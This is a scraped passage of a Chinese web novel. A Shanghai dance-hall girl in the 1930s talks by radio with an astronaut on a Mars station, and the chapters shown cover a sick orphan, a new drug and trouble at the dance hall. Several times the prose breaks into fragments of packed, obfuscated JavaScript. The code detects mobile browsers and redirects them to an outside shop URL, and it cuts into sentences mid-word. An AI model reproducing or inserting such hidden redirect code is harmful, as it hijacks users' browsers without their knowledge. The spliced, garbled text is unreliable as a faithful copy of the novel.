她抿嘴一笑,道:“还得谢谢谭大哥你送我的礼物,我知道了好多以前不知道的事。” 谭荣名一挑眉:“哦?是我送给你的那台收音机吗?这么有意思?” 小百合道:“是呀,真的很有意思!我从来不知道,世界居然有这么大,有这么多让人意想不到的事!” 谭荣名更吃惊了,道:“有这么夸张?那,你最喜欢哪个电台?” 小百合作沉思状,道:“嗯,我想想……”她故意沉吟了片刻,才道,“哪个都喜欢!” 她自然不会告诉他,她把大多数的时间都花在了倾听没有信号的沙沙声上。 谭荣名笑道:“那就好。看来我这个收音机,真是买得值了!不过,也别总是在家里待着了,哪天晚上我请你去听戏罢!” 请她们出台看戏,也是客人买她们的钟来寻求陪伴的一种常见的形式。 小百合听见了他的邀请,心思却飘到了之前她和陆遥的对话上。 从十一月十五日之后,她又和陆遥说了三四次的话。 她发现,陆遥总要隔个五六天才会出现,最长的一次,甚至间隔了十天。但为了不错过任何与她通话的机会,小百合依然每晚把收音机开着,将声音调到最小。那原本单调恼人的沙沙声成了她做事时的背景音,有时小百合甚至忘记了它的存在。 而当她们对话的时候,陆遥从来不会提起任何未来的细节。有时甚至连小百合问起的一些小事也不说,比如她吃了什么,住得怎样。 但她会告诉小百合,火车变得很快,快到几个小时就能从北京到达她的家乡,一个南方的小城。会告诉她她曾飞在天上,脚下是蓝天白云,连绵的雪山如同洁白的屏障。 而当她不说话的时候,小百合便会对她讲起自己的事——她新接待的客人,新学的舞,舞厅的老板请来了哪位明星,又唱了怎么样的歌。 有时候,她也会觉得,她说的这些对陆遥而言应该都不值一提,但陆遥总是安静地听着,时不时地搭上几句话,告诉小百合,她还在这里。 她们每次聊天的时间都不长。但那短短的二三十分钟已经在不知不觉中成为了小百合度过一周又一周的支柱。 其中有一天,小百合在跳舞前随意翻看客人留下的报纸时,忽然发现了一块广告。广告的内容是为一家戏院招揽客人,十分常规,无非是白底黑字的剧名和宣传语。 吸引小百合的却是底下的一行小字:“剧前放送西洋短片《月球旅行记》”。 小百合从来不是什么电影的影迷,但这几个字一出,她就再也看不到别的了。 她软磨硬泡,好说歹说,终于求得朱璇和陶菁答应,陪她去看。但她们两个谁也不知道,她想看的其实不是戏,而是戏前附带的这个只有十几分钟的热场短片。 那短片讲的是一伙科学家去月球上探险的故事,片子里的月球却长了一张夸张的人脸。 当戏院里的所有人都看着那圆滚滚的火箭撞向它的右眼,对着那挤眉弄眼的表情哈哈大笑,只有小百合在心里悄悄地想:“这都是真的,在一百年后,有个女孩登上了月球,她的名字只有我知道,叫做陆遥。” 当晚她打开收音机,满心期盼能听到陆遥的声音,没想到陆遥真的回应了她。 她问陆遥,月亮上是不是真的有一伙“月球人”,用雨伞轻轻一碰就会化成烟雾,陆遥却惊讶地反问她:“这个想法你是从哪里来的?” 小百合对她说了,于是她们聊起了戏剧和电影。 陆遥告诉她,她上学时十分刻苦,只在大学时曾去听过一次昆曲,曲中咿咿呀呀的唱句她忘记了,甚至连是和谁一起去的也忘记了,却依然记得那晚出来时清冷的月夜,和风吹过梧桐树时哗哗的树叶声。 而小百合想起她第一次和某位已然面目不清的客人去看戏的夜晚,想起那时热闹的大街上昏黄的灯光树影,心道,原来这世界上的有些事,是真的不会变的。 “小百合?”谭荣名道。 小百合回过神来,才意识到她还没回答他的问题,连忙道:“啊,好呀!全听谭大哥的!抱歉,听你这么一说,我突然想起了上次我去看的戏,一时出了神,谭大哥你可千万别介意!” 谭荣名道:“你之前去看戏了?是别人请你去的?” 小百合道:“没有。是我自己在报纸上看到了广告,拖着朱璇她们去的。”她朝着角落里正与人谈笑风生的朱璇一努嘴,“诺,不信你去问她!” 谭荣名的脸上现出一丝歉意,道:“你想看戏了为何不同我说,我自会请你,你又何必去找别人?” 小百合轻捶了谭荣名一记,嗔道:“谭大哥你忙嘛,我又怎么好为了这点小事去打扰你?” 谭荣名脸上的歉意更深,道:“最近我确实是比较忙,好久没来看你,对不住。”他顿了顿,又道,“你还记得我们前一阵子说起过的那种药,叫百浪多息的吗?” 小百合道:“我记得,这可真是个奇怪的名字!” 谭荣名笑了笑,道:“奇怪不奇怪不重要,重要的是它对治伤确有奇效,尤其是在伤口久治不愈,病人因此发烧昏厥的时候。我想了想,这种药以后一定能在全国流行起来,与其让别人把钱赚了去,干脆不如我自己来分一杯羹。” 小百合讶然道:“哦?谭大哥你要自己开药行了吗?” 谭荣名摇头道:“不需要。我在欧洲那边有一位极好的朋友,与那边的各大药商都很熟。我只要与他合作,负责这边的进口就好了。”他又道,“实际上,已经有一船的百浪多息从欧洲出发,往这边运过来了,应该过些天就能到。至于之后怎么分销,又是另一回事了。” 小百合做出一个崇拜的表情,道:“原来如此!谭大哥你可真厉害!” 谭荣名垂目谦虚道:“没什么的。我只是恰好知道些别人不知道的消息罢了。” 小百合道:“那也是谭大哥的本事!” 谭荣名微微一笑,道:“嗯。等把药卖出去,赚到了钱,或许……”话没说完,他突然迟疑了。 小百合盈盈地望着他。 谭荣名道:“……或许你想看多少戏,我便请你看多少戏。” 小百合微笑道:“好。那我等着谭大哥。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504986|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “遥,感觉来到空间站之后,你似乎变了一些。”安德烈咀嚼着手中的便携真空披萨饼,突然道。 陆遥一愣:“什么?” 阿列克谢刚刚嘬了一嘴塑料包装红菜汤,听他这么说,甚至来不及咽下,便跟着连连点头。 陆遥不知道他们两个卖的什么关子,求助地望向王亦刚。却没想到,王亦刚竟也几不可察地勾了勾嘴角,道:“其实我也这么觉得。”说完,斯文地咬下一口固体炖牛肉。 陆遥缓缓地吸了一口气,平静地道:“为什么?” 阿列克谢拧好包装上的真空阀,道:“我总觉得,以前在地球上训练时候的你,是不会邀请我们一起在活动舱看《月球旅行记》的。现在的你,比那时候显得更轻松了。” 陆遥一时哑然。 她不好意思对他说,其实,她并没有邀请他们。 继上次叫阿列克谢不成之后,第二次陆遥在快与小百合结束交谈时,又请来了王亦刚。果然,王亦刚甫一敲响她的隔间门,连接就立刻断开了。陆遥便也不再强求。 那日,小百合对她提到了《月球旅行记》,语气中满满都是兴奋和向往。陆遥便一时心血来潮,麻烦地控中心的林梦晨把这个古早的默片压缩打包,传输了过来。 她不想在自己的小屏幕上看,于是来到了活动舱。 而当她刚把活动舱的大屏打开,另外三人便发觉她的动静,不请自来了。 王亦刚问她道:“不过,你为什么突然想起来看这个了?” 陆遥不知道该怎么回答,只道:“没什么,只是突然想到了。” 安德烈道:“管它为什么呢!多有趣的经历呀!我们应该每周腾出一个晚上来一起看电影,当作电影之夜!” 阿列克谢道:“只看科幻片吗?” 安德烈道:“当然可以!” 王亦刚摇了摇头,道:“不行,太不吉利了。” 阿列克谢道:“什么意思?” 王亦刚道:“你知道科幻片里有多少是太空灾难片吗?” 安德烈道:“啊,可是……” 他们三个斗起嘴来。 陆遥却在想:确实,在这以前,她从没想过他们会在火星空间站看默片。而且,还是历史上的第一部科幻片。 多么神奇! 他们四个在群星环绕之中,在一个凝聚了人类所有智慧,不知花了多少个亿的铁皮盒子里,观看着一百多年前人类关于月球的想象——在他们的想象中,月球的天上会下雪,地底下长着巨大的蘑菇,外星人仿佛青蛙,只要轻轻一碰,就会灰飞烟灭。 他们三个大笑着,评论着,为片中搞怪的表情和肢体,也为其中的荒诞。 从那时到现在已经过了一百多年。 其实也才过了一百多年。 和人类乃至地球漫长的历史相比不过一个弹指,却仿佛已经沧海桑田。 陆遥又想起了小百合。 在到达火星空间站之前,她又何尝能想到,这世上有一个小百合呢? 阿列克谢和安德烈又为了到底哪部科幻片是影史最佳而争执起来。 陆遥望着他们唇枪舌剑,心想:“不过,这样也不错。” 13.第12章 “我的老天爷啊!” 实验舱中突然传来一声兴奋的大喊。 陆遥从她埋首编写的程序中抬起头来——发出喊声的是安德烈。 他们这一次的火星任务为期三个月。在第一次火星行走之后,还要对他们在火星表面采集的样本进行分析,并为下一步建立火星监测站以及地面实验室做准备。 其中负责样本分析的就是安德烈。 他叫道:“亦刚,阿列克谢,遥,你们快过来!” 陆遥和她边上的阿列克谢对视一眼,向实验舱飘去。他们到达时,王亦刚亦静在那里,安德烈指着光谱仪一旁的屏幕,道:“你们见过这种物质吗?” 陆遥扫视着屏幕上的数据和波长,渐渐皱起眉来:“这是……” 安德烈道:“这是从火星土壤里分离出来的微粒,它的密度达到了24.89克每立方厘米,比锇还要重!” 锇是人类已知的密度最大的金属,而这种物质比锇更重,也就是说…… 王亦刚平素不动如山的脸上第一次出现了惊讶的表情,道:“这是一种新元素?我们发现了一种新元素?” “是的!!”安德烈道。 阿列克谢轻呼:“天呐……”他沉默了片刻,又道,“这是在土壤深层发现的?” 安德烈摇头道:“不,都在表层。应该是外来物,而且刚刚落在火星上不久。” 陆遥猛然想起在他们到达火星之前,地控中心向他们提出预警的小行星雨,道:“是上次……” 话没说完,她的心中一动:莫非她能够与小百合对话,也与这种元素有关? 阿列克谢显然也想到了之前的预警,明白她在说什么,点点头道:“很有可能。” 安德烈遗憾地道:“我们运气太好也太差了。如果那时候我们已经到达了火星,或许就可以想办法去捕捉一个大的了。” 这些微粒很有可能是超新星爆炸产生的粉尘,或者星体撞击后留下的碎片,飘了亿万年才到达火星。如果那些小行星是和这些微粒在同一时期飞至火星附近的,那它们确实有极大的概率包含同一种元素。 王亦刚问道:“样本很少吗?” 安德烈道:“是的。只有两颗,每一颗直径都不超过两毫米。” 王亦刚道:“没关系,我们下次到地表时可以有针对性地多采集一些回来。” “没错!”阿列克谢笑道,“而且,这种事也说不准的。没准你费尽力气把它捕捉回来,一检查,才发现里面全是二氧化硅呢!” 听他这么说,陆遥也笑了。二氧化硅,也就是地球上最常见的,石头的组成部分。 安德烈耸了耸肩,忽然“啪”地一下双手合十,祈祷道:“上帝呀,请给我们再来一块小行星吧,就由这种元素组成!不用太多,一块就好,最好直径1米左右,在某个容易挖掘的位置,阿弥陀佛!” 这一下,连王亦刚也不动声色地勾了勾嘴角。他看了一眼腕表,道:“快到休息的时间了,不过这件事非常重大,安德烈,希望你能尽快把报告写出来,可以尽早递交给地球方面。好了,散了吧。” 陆遥飘回自己的位置。安德烈仍在工作,她也不想这么早休息。 “晚些时候再打开通讯器好了。”她想。 短短几天,她便养成了在每天休息时,或者是夜间轮班时和小百合通话的习惯。 陆遥告诉自己这是为了科学——她很快就算出她们两人之前的时间流速差是不断变化的,至于其中具体的规律,还需要更多的数据进行运算。 但她心底里的一个角落却知道,不仅如此。 小百合从小被父母遗弃,早就看尽世间冷暖。长大后又成为舞女,周旋于逼仄的舞场之间。 然而,她却似乎从不觉得世界亏待了她,永远以一种活泼的语气对陆遥说起她的生活,说起发生在她身上的那些美好的小事——听到了大明星唱的歌,学会了一种复杂的舞步,她孤儿院的姐妹试着用草叶编出了一只可爱的小狐狸,等等等等。 她名为百合,却好像一朵太阳花,只要给她一缕日光,她便能快乐地随风摇曳,以自身的明媚点亮周遭的黑暗。这种明媚甚至穿透百年的光阴,穿越荒凉的宇宙,折射到陆遥的身上,让她感受到一丝温暖。 有几个瞬间,陆遥不由得惭愧于她本可以怎样轻易地改写小百合的命运。可下一秒,她又不得不立刻硬下心来——身为一个科学家,她不应该仅凭自身的喜恶改变历史的发展。 但是,至少,如果小百合愿意与她聊天,她还能多陪她说说话。 之后,陆遥和阿列克谢又工作一阵,远远听到安德烈与地控中心对接完毕,安排好了明天的开会时间。 阿列克谢立刻放松了下来,伸了个懒腰,对陆遥道:“好了,我准备回去了,你也早点休息吧。明天会是很长的一天。” 陆遥点点头。 确实。他们开会的次数不多——将近八分钟的通讯延迟长得令人难以忍受,很少有什么事值得他们这么做。而在开完会之后,他们仍要完成计划表上的任务。 她敲完最后一行代码,回到自己的隔间,打开了通讯器。 然而,在小百合之前,一条留言先传了出来:“陆遥你好,这里是地球。你的父母正在地面等候与你视频通信,如有时间,请尽快回复,谢谢。” 留言的联络员不是林梦晨,而是另一个人。陆遥看了一眼留言到达的时间,是在三十多分钟以前。 她犹豫了片刻,来到活动舱。他们个人的通讯器无法支持视频通信,只能使用活动舱的。 此时安德烈正在活动舱使用他的笔记本,陆遥打了个招呼,便不再理会他,径自飘到总通讯器前,发出请求。 其实,在来到空间站两天后,她就为她的父母录制了视频,告诉他们一切都好。但显然,他们并不满足于此。 过了近二十分钟之后,她父母的影像终于出现在屏幕中。视频的像素很低,仿佛上个世纪影视剧的质感,不时便会卡顿。 她的父亲身形高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她的奶奶早逝,爷爷家原本是当地的望族,而她的父亲是他们家的长子。在陆遥出生以后,得知她是一个女孩,她的爷爷当即勒令自己的儿子将她送与别家没有小孩的亲戚抚养,只为能另要一个男孩。 陆遥的父亲抵死不从,便被从家族中赶了出去,一无所有地在外漂泊多年,才稍稍做出一番成就。 陆遥从小看着自己的父亲每逢节日回到家乡,带着满手的礼物,却回回被拒之门外,只能在门口与自己的弟妹草草聊上几句,便被爷爷骂走,踏上回程。 她的父母以为她那时候年纪尚小,留不下什么记忆,却不知小时候的每一幕,陆遥都记得一清二楚。 事情的转机发生在她显露出自身的天才之后。当得知她以十五岁的年纪被国际知名的大学录取,她的爷爷终于松了口,道允许她们一家回去,同时,可以让她的父亲再入族谱。 陆遥以学校有事为由拒绝了。 而当她通过了航天员的第一次选拔,成为前往火星的候选人之一,她这位几乎从未谋面的爷爷便仿佛突然成了一位舐犊情深的老人,死前的最后一个愿望便是弥合家中存在已久的裂痕,让一切重归于好。 甚至,在陆遥到达火星之后也不肯放弃。 她的父母以为她对她的爷爷心怀怨恨。其实,陆遥只是觉得,没有必要。 时间已经很晚了,为了应付明天各层领导的重重盘问,她确实需要早些休息。 “可惜没时间和小百合通话了。” 陆遥想。 14.第13章 小百合觉得,她最近的日子过得似乎很是不错。 他们孤儿院的院长终于又不知在哪向那些上流的先生太太们讨得了一笔捐款,为所有人,包括孙老三,置办了一批冬衣和冬被。 谭荣名忙了许多,总是来去匆匆,但每次来时,仍不忘给她带上一份礼物和一束花——冬天没有百合,他便送她绢花、吊坠花和水仙花。 而在老客人之外,她又多了几位新客。其中一位出手大方得紧,不过跳了两次舞,给的小费便足以让小百合去当铺赎回一件她喜欢的首饰。 更重要的是,陆遥。 尽管她们总共也没说上几次话,但小百合早就把她当成了朋友。而她这几天忽然觉得,陆遥或许也是如此。 不然,她为何会向小百合抱怨起她的上司呢? 虽然只是问小百合见没见过清朝老太太的裹脚布,道她倒是想看看,她们的裹脚布是不是真的像他们开的会那样长。 但小百合乐观地认为,这显然也是陆遥已经把她当作朋友的标志。 小百合自然不是没有朋友的。 在舞厅她有朱璇和陶菁,在孤儿院她有那些兄弟姐妹。 然而,在兄弟姐妹中她更像是要承担责任、照顾大家的姐姐,而在舞场的后台,她们的对话总是围绕着客人和礼物,而后不知不觉地演变成相互攀比、飞短流长。 哪怕她并非来自未来,小百合依然对陆遥的存在心怀感激。 一日,小百合刚从家门出来,便意识到外边在下雪。她抬起手,一朵朵细小而晶莹的雪花纷纷扬扬地落在她的手套、围巾上,又转瞬消失不见。 上海不常下雪,在小百合的记忆中,她从小到大,也只不过见过两三回。 她在门口默默地欣赏了一阵,才慢慢往外走——雪不大,地面却变得湿滑,连黄包车跑得都慢了许多。 小百合等了好久,才叫上了一辆车。 然而,许是所有人都去别处赏雪了,舞厅里也没什么人。 她和朱璇、陶菁在舞厅的角落里坐了一个多小时,聊了会天,确认了没有什么客人过来,便相约去上海滩看雪。 可刚一出门,小百合立刻发现了一个熟悉的身影。 是孙老三。 孙老三站在大门的台阶下,走来走去的,仿佛在苦恼什么。他的肩上落满了碎雪,大概已经在门口等了许久。 小百合惊讶地走过去,拍了拍他,道:“三哥,你怎么这时候就来了?在等客人吗?” 现在还远不到她平时回家的时候,这也不是他平日里等她的小门。 孙老三骇了一跳,犹豫了片刻,才道:“其实,我是来找你的。蔓蔓……她不太好。” 小百合皱起眉,道:“怎么回事?什么不太好?” 她上一次去时,蔓蔓的骨折明明已经快要痊愈,怎么会又突然不好了? 孙老三叹了一口气,道:“还不是因为送报的事。” 原来,在蔓蔓受伤之后,前三个月一直是孙老七在替她送报,也没人说什么。 可前些日子,统管他们这个区域所有报童的吴报头突然跑去检查,发现了他,道前一阵有厂子里出了事,最近查童工查得严,孙老七年龄太小,依着规定还不能送报,因此要把他赶走。 如果仅是如此也就罢了,他还声称,如果蔓蔓不赶快回去工作,他便要把这个活计交给别人。 小百合道:“他要交给别人,就让他交给别人好了!院长不是刚得了一笔钱?如果不够,我这还有!” 孙老三道:“是呀,我也是这么想的。可谁知道,老七把这件事跟我说的时候,正好赶上蔓蔓下楼来找水喝,我们说的话全被她听见了。第二天,她就又背着我们偷偷跑去送报了!她的腿本来就没长好,站都站不稳,结果又被人撞倒了!” 小百合心里“咯噔”一下,道:“什么?又摔了?” 孙老三道:“是。只是这次没伤到她的腿,我们还想着应该没什么大碍。可她当天晚上就发起了高烧,时好时坏的,到了今天,连人都认不得了!” 小百合脸色一变,道:“请大夫了吗?” 孙老三道:“早就请了。可煮好了药,她是吐出来的多,喝进去的少……” 小百合道:“怎么现在才来找我!走,快带我去看她!” 说完,她回身对仍在台阶上等着的朱璇和陶菁道了歉,让她们自己去赏雪,便坐上黄包车,让孙老三带她回孤儿院。 蔓蔓仍躺在她的床上,盖着被子,不时呻吟着,脸色苍白如纸。 小百合眨了眨眼,忍住眼泪,跪在床边轻轻推了推她,道:“蔓蔓,蔓蔓,醒一醒,你看看我!” 蔓蔓费力地撑开一只眼皮,又立即合上了,气若游丝地道:“百合姐,你怎么回来了……” 小百合道:“我回来看你。你一定要好好的!听见没有?我不会让你出事的!你一定要好好的!” 听她这么一说,蔓蔓忽然哽咽了:“对不起百合姐……我真是太没用了,太没用了……又让大家照顾我……” 说完,又忽地失去了意识,任凭小百合如何呼唤她,都不再回应了。 小百合回头问孙老三,蔓蔓到底伤在了哪里。 孙老三小心翼翼地将蔓蔓的胳膊从被子中捞出,解开缠在她小臂上的绷带。 小百合的心头猛然一跳,只见蔓蔓的胳膊上仿佛开了一个血洞,伤口的边缘已然溃烂,脓水四溢,早把绷带染成了斑斑驳驳的黄色。 她都有些结巴了,道:“这、这这是怎么搞得?怎么会这么严重?” 孙老三摇了摇头,又将绷带绑好,道:“她被过路的人撞到了人家花园的栏杆上,开始的时候还只是一个普通的伤口,不知怎地就成这样了。” 小百合道:“大夫怎么说?” 孙老三道:“大夫说,这是伤口没有愈合好,出了痈疽,要每日擦洗服药,内外兼治。”他顿了顿,又愁苦地道,“可我们又是擦洗,又是喂药的,怎么过了这么多天,还是一点起色也没有?明天我再另请一位大夫来看看吧……” 他一边说,小百合却突然呆住了。 痈疽,痈疽…… 她在哪里听到过这个词? 她猛然想起两个月前,谭荣名向她解释何为“细菌”。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小百合道:“她前些日子摔了一跤,摔伤了胳膊,结果不知怎么得又突然发起烧来,直到现在都没有醒,伤口还……啊,抱歉,谭大哥,我怎么忽然说起了这些,真是太教人扫兴了……” 谭荣名的表情严肃了几分,道:“她是在摔跤之后很快就发烧了,伤口溃烂流脓?” 小百合道:“是……谭大哥你怎么知道?” 谭荣名道:“她这是伤口感染了!得赶快送到医院去!”他顿了顿,又道,“不,医院现在也没有药。你们那里有人会打针吗?” 小百合道:“我们院长以前照顾过病人,应当是会的。” 谭荣名道:“好。那我明天给你拿几盒药,写一张医嘱,你让他按着医嘱来就好了。” 小百合扑上前,抱住他的一只胳膊,喜悦地道:“真的吗?谢谢谭大哥!”又道,“那些药要花多少钱,我回头一定会还给谭大哥的!” 谭荣名的面色柔和下来,道:“你我之间,说这个做什么。小事而已。” 小百合将他的胳膊抱得更紧,道:“嗯,谭大哥你真好。” 他们之后又在街上走了许久,直到路面都被白色覆盖。 小百合从未如此感谢上天,感谢上天降下这样一场大雪。 15.第14章 第二日,为了不错过谭荣名,小百合早早来到舞厅,在后台直等到昏昏欲睡,忽然听到外面一阵喧哗。 出来一看,最大的舞场上不知何时聚起了人,人群正中,一个肚大如鼓,老板打扮的中年人正在骂骂咧咧地叫嚣什么,旁边还带了两个小弟应声附和,一派咄咄逼人的模样。 同样被惊动的张大班拦在他身前,正好声劝慰。 小百合听了一阵,才听明白,他是想让舞厅交人。 原来,这位老板之前经常请一位名叫“莺儿”的舞女跳舞,送了她不少钱财礼物,自觉与她感情甚深,便提出要把她接回家做小。他原以为,她早是他的囊中之物、笼中之鸟,却不料,莺儿竟十分坚定地拒绝了。任凭他出多少价码,连月都不肯包给他。 而在被拒绝后,他仍不死心,不时便来舞厅骚扰。莺儿避之不及,时时躲着他,他竟认为是舞场的人从中作梗,不让她见他,这才闹将起来。 他口中这个“莺儿”,小百合是认得的,是个娇小清秀的姑娘,性子有些胆小,见人时总是一副怯怯的样子。 小百合曾听到她在后台对人哭诉,道她的一位客人总是在暗处对她动手动脚,将她身上掐得青青紫紫,还总是威吓她,说要把她买回家,想来就是此人了。 张大班好言道:“王老板,王老板,您是个体面的人,是从天上掉下来的财神爷!整个上海滩,谁不知道您的名声?您想要什么姑娘,挥挥手人就来了,是我们莺儿资质鲁钝,没这个福分,还请您高抬贵手……” 话没说完,却立刻被其中一个小弟打断了,他毫不客气地道:“行了,别说这些没用的!都是一个窑子里的姐们儿,还装什么良家小姐呢!不就是钱没给够么,你干干脆脆地报个数,不然就是瞧不起我们李东家!” 张大班的脸色微变了一变,又强自压了下去,笑道:“这位爷,瞧您这话说的,我们千乐门做的是正经生意,清清白白,哪像您说的那样!而且,这事总得讲究个你情我愿是不是,我们莺儿确实是……” 她还在说,那王老板却不耐烦听了,挺起个肚子便要往后台闯,道:“莺儿呢?我要见她,她在哪里?莺儿?莺儿!” 张大班的脸色终于变了,道:“王老板,我敬您是我们的客人,一直对您以礼相待。可千乐门虽小,朋友倒也还不少,还请您给大家留些脸面,也是给您自己留些脸面!” 一个小弟指着她的鼻子道:“你这是威胁我们?!” 然而,不等张大班回答,只听一个懒洋洋的声音从门口传来:“就是威胁你们了,又怎么了?” 小百合循声望去,只见一个军官打扮的青年出现在门前。他的裤子是笔挺的,靴子是笔挺的,一身大衣却歪歪斜斜地披在肩上,稍稍抬起下巴,便露出大檐帽下如剑一般锐利的眉眼。 他缓缓地扫视一周,视线所及之处,人们无不低下头去。小百合却在想:他耳朵上别着的,是一根牙签吗? 那青年似乎也察觉了小百合的目光。不知是不是她的错觉,但她总觉得,他似乎也对她勾了勾嘴角。 另一边,那王老板大概也觉出不好,原本嚣张的气焰熄灭了许多,只道:“你、你是谁?凭什么管我们的事情?” 那青年却不理他,眼也不抬,只漫不经心地把别在腰间的手枪拔出来,把玩了把玩,道:“我是谁不重要。重要的是,人说的话你听不懂,它说的话,你听得懂吗?”说着,慢慢把枪口对准了王老板的脑袋。 那王老板仍是不服,壮着胆子道:“你、你,众目睽睽之下,你敢向我开枪?” 那青年轻笑一声,慢条斯理地道:“有匪徒在千乐门聚众闹事,暴力抗捕,我不得已将其和其手下就地击毙,冯督理又能说我些什么呢?” 在上海滩这种地方,能称得上“经理”“社长”“东家”的人不少,可能称得上“督理”的却没有几个。其中姓冯的,小百合只知道一个。若真的是他,那确实不是等闲人能随意招惹得起的。 果然,听他这么说,那王老板脸色陡然一变,道:“你是冯督理的人?抱歉,我们这就走,还请兄弟手下留情,督理那边……” 那青年道:“滚吧,没人知道你是哪个。” “好,好!”那王老板道。说完,带着两个小弟屁滚尿流地走了。 见事情解决,张大班开始驱散人群:“好了,没什么可看的了!诸位请忙去吧!”又道,“搅扰了各位的心情,为表歉意,我做东,每位客人送一杯酒水,种类任选,请到吧台自取去罢!” 说完,周围的顾客立时欢呼起来。张大班与熟客一一打过招呼,便来到那青年身旁,与他说起话来。 小百合依稀听到几句“感谢冯督理”“又麻烦你们了”云云,而那青年的脸色也温和许多,只道:“这算什么,都是应该的。以后若有这种事,也尽管来找我。” 两人在那边寒暄,朱璇和陶菁也不知何时到了舞厅,凑到小百合身边看热闹。眼见人群散了,朱璇“哼”了一声,道:“我就说莺儿那个扭扭捏捏的泥人性子,迟早要惹出事来!” 陶菁道:“也不能这么说呀璇姐,她那个客人,确实是难缠得很。就算是我遇到,也得发两天怵呢,何况是她!也亏是张妈妈有手段,才把事情摆平了。”她顿了顿,又道,“不过,那个军官到底是谁呀?怎么生得这般好模样?” 朱璇“噗”地一笑,道:“他哪算得上什么军官呀,是冯督理手底下的人,好像叫什么,张继显。只是每次舞厅遇上什么事,他就披上不知道从哪找的一身皮,过来吓人罢了!”又道,“我之前随李将军去看戏时见过他一回,据说最近很得冯督理的器重。但说到底,大家也都是看冯督理的面子罢了,如果不是督理,谁又会认得他?” 陶菁道:“这倒是。话说回来,璇姐,你知道张妈妈是怎么跟冯督理搭上线的吗?也没听说冯督理什么时候来过舞厅啊?” 朱璇哼道:“人家冯督理日理万机的,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529102|154961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有空来我们这!听说张妈妈也是在他发迹前与他认识的,这才留下几分情分。若是没有这个机缘,她又怎么做得上咱们千乐门的大班?” “原来如此!”陶菁若有所悟地点了点头,又哀叹道,“也不知道,我的机缘什么时候能到呀!” 朱璇伸出一根食指点在她的额头上,轻轻一顶,道:“你呀,快回后台睡觉去吧!梦里准什么都有!” 陶菁撅起嘴,发出了委屈的哼唧声。 小百合也抿唇笑了。 朱璇道:“好了,光顾着看热闹了,妆都还没化呢!快走吧!回去了!” 陶菁跟在她后面走了,小百合想了想,怕在谭荣名到来之前有别的熟客先瞧见了她,也跟着走了。 在走之前,她又好奇地最后回头看了一眼。 那名为张继显的青年仍在和张大班说些什么。小百合刚刚回过头,他便仿佛感应到一般,立时瞥了过来。 这一回,小百合可以肯定那不是她的错觉了。张继显直视着她的目光,对她深深地勾起了嘴角。 小百合回到后台,等了一阵,心中又觉不安,便来到门口,给了门卫一笔小费,托他一看到谭荣名,便告诉他她在后台等他——千乐门的门卫也不是随便什么人都能做的,迎来送往,体贴招待,对于像谭荣名这般的熟客,他们必定如数家珍。 然而,小百合等啊等,直等到深夜,也没等来谭荣名的消息。 她思忖着或许是谭荣名那里有什么急事,想必事情解决了,他就会来找她。 可又等到了第二日、第三日,谭荣名依然没有来。 小百合一边给孙老三钱,让他去周围的药店寻找那个古怪名字的“百浪多息”,却发现大多数的药店不仅没有这种药,甚至连药店的老板,都不知道那是什么东西。 而每到深夜,她便让孙老三拉着她回到孤儿院,陪蔓蔓。她在蔓蔓的床边打了个铺盖,每晚守着她,一次次地为她更换敷额的手巾和裹伤的绷带。蔓蔓的伤口恶化得愈发厉害,初时小百合半夜里还能听到她晚上的呻吟声,可渐渐地,她越发的出气多,进气少,直到后来,连呻吟都发不出了。 到了第四日,小百合终于决定这样等下去不行。她让孙老三带着蔓蔓先前往西医院,自己则独自一人去谭荣名家找他。 按理说,做她们这一行,是不该为自己的事去客人家里找他的。可谭荣名告诉过小百合他家的地址,道欢迎她随时来找他,蔓蔓的情况又如此紧急,想来谭荣名必然能够谅解。 小百合依着地址找到谭荣名家附近。这周围都是富人区,到处是一栋一栋的洋房。小百合正依着门牌号一家一家地找过去,就见前面有有一个男人追着一位女子冲出了家门。 那男人道:“美仪,你等等!” 说着,便去抓那女子的胳膊。 小百合心下一跳,连忙找了个角落躲了起来——那男人刚一开口,她便立即听了出来,那不是谭荣名又是谁? 16.第15章 小百合的心中有些懊恼。 她并非是一个喜爱听墙角的人,刚才只是一时慌不择路,才躲在了别人的门廊下。可此时再想离开,已经不可能不惊动那两人。 也只得暂时如此了。 她远远听见谭荣名道:“你要去哪里?我找人去送你。” 那被唤作“美仪”的女子道:“我要去哪,和你有什么关系?你松手!” 谭荣名道:“怎么没有关系?我和你哥哥亲如兄弟,你是他的妹妹,自然也是我的妹妹。” 听他这么说,那美仪却似乎一时气结,过了一阵,才压着嗓子道:“好,既然你把我当妹妹,那你告诉我,你接下来要去哪?” 谭荣名道:“我与你说了,我一位朋友的妹妹病了,我去拿药给她。” 那美仪却冷笑一声:“行。那你敢不敢告诉我,是什么朋友?” 谭荣名半晌不语。 美仪又道:“别以为我不知道。他们都说呢!说你和千乐门的一个舞女打得火热,整日拿着礼物和花去看人家呢!可真是个情种啊!” 谭荣名听起来也有些恼了,道:“我送人礼物和花又怎么了?你若这般在意,当初为何不和我一起回国?现在又来说这些!” 